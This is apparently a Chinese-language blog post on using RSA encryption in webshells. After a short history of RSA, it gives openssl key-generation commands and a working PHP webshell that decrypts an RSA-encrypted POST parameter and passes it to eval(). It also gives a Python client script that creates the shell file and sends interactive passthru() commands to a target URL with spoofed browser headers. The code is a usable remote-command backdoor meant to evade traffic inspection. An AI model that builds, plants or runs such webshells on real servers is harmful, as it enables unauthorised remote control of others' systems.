RSA在webshell中的使用

RSA是1977年由罗纳德·李维斯特（Ron Rivest）、阿迪·萨莫尔（Adi Shamir）和伦纳德·阿德曼（Leonard Adleman）一起提出的。当时他们三人都在麻省理工学院工作。RSA就是他们三人姓氏开头字母拼在一起组成的RSA公开密钥密码体制的原理是：根据数论，寻求两个大素数比较简单，而将它们的乘积进行因式分解却极其困难，因此可以将乘积公开作为加密密钥......

openssl genrsa -out privkey.pem 2048openssl rsa -in privkey.pem -out publickey.pem -pubout

def pri_encrypt(msg, file_name):    rsa_pri = M2Crypto.RSA.load_key(file_name)    ctxt_pri = rsa_pri.private_encrypt(        msg.encode(), M2Crypto.RSA.pkcs1_padding)    ctxt64_pri = base64.b64encode(ctxt_pri)    return ctxt64_pri

<?phpclass Rsa {    private static $PUBLIC_KEY= "MyPubKey";    private static function getPublicKey(){        $publicKey = self::$PUBLIC_KEY;        return openssl_pkey_get_public($publicKey);    }
    public static function publicDecrypt($encrypted = ""){        if (!is_string($encrypted)) {            return null;        }        return (openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey())) ? $decrypted : null;    }}$cmd=$_POST['MyPass'];$rsa = new Rsa();$publicDecrypt = $rsa->publicDecrypt($cmd);$res=eval($publicDecrypt);

#!/usr/bin/python# coding: utf-8# Author: lengyi@HongHuSEC
import sysimport argparseimport requestsimport base64import M2Cryptoimport osimport io
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')
def creatkey():    return os.system('openssl genrsa -out privkey.pem 2048nopenssl rsa -in privkey.pem -out publickey.pem -puboutn')
def pri_encrypt(msg, file_name):    rsa_pri = M2Crypto.RSA.load_key(file_name)    ctxt_pri = rsa_pri.private_encrypt(msg.encode(), M2Crypto.RSA.pkcs1_padding)    ctxt64_pri = base64.b64encode(ctxt_pri)    return ctxt64_pri
def get_args():    arser = argparse.ArgumentParser(prog="SimpleRSA webshell",                    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),                    epilog= "Usage:n1、python3 SimpleRSA_shell.py -c filename -p password n2、python3 SimpleRSA_shell.py -u url -p password")    arser.add_argument("-c", "--create", nargs='?', help="Create a webshell(default password is pass)")    arser.add_argument("-p", "--password", nargs='?',default="pass",help="Set password && Link password",dest='password')    arser.add_argument("-u", "--url", nargs='?',help="Set Url")    args = arser.parse_args()    return args
def createphpshell(shell,pwd, pubkey):    with open("demo.php","rb")as f:        shelltxt=f.read().decode()        shelltxt = shelltxt.replace("MyPass", pwd).replace(            'MyPubKey', pubkey.decode())        with open(shell, "w") as f1:            f1.write(shelltxt)        print(f"[+]php马存放在{shell},链接密码{pwd}")
def main():    args = get_args()    if (len(sys.argv) == 1):        print(f"Usage: python3 {sys.argv[0]} -h")        exit()    elif (len(sys.argv) == 5 and args.create != None):        if (os.path.exists("publickey.pem") == False or os.path.exists("privkey.pem") == False):            print("[+]正在生成公私钥对...")            if (creatkey() == 0):                print("[+]生成成功")            else:                print("[-]失败，请检查权限问题")        pubkey_file = './publickey.pem'        with open(pubkey_file, 'rb') as f:            pubkey = f.read()        createphpshell(shell=args.create.strip(), pwd=args.password.strip(), pubkey=pubkey)    elif(len(sys.argv) == 5 and args.url.strip()!=None):        prikey_file = './privkey.pem'        payload = "passthru('123');"        while (True):            encryptshell = pri_encrypt(payload, prikey_file)            data = {                args.password.strip(): encryptshell            }            headers = {                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",                "Accept-Encoding": "gzip, deflate, br",                "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",                "Connection": "keep-alive",                "Referer": "https://www.google.com.hk/",                "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36",            }            print(requests.post(args.url.strip(), data=data, headers=headers).text.strip())            payload = input(">")            if payload == "exit":                sys.exit()            else:                payload = f"passthru('{payload}');"    else:        exit()

if __name__ == '__main__':    main()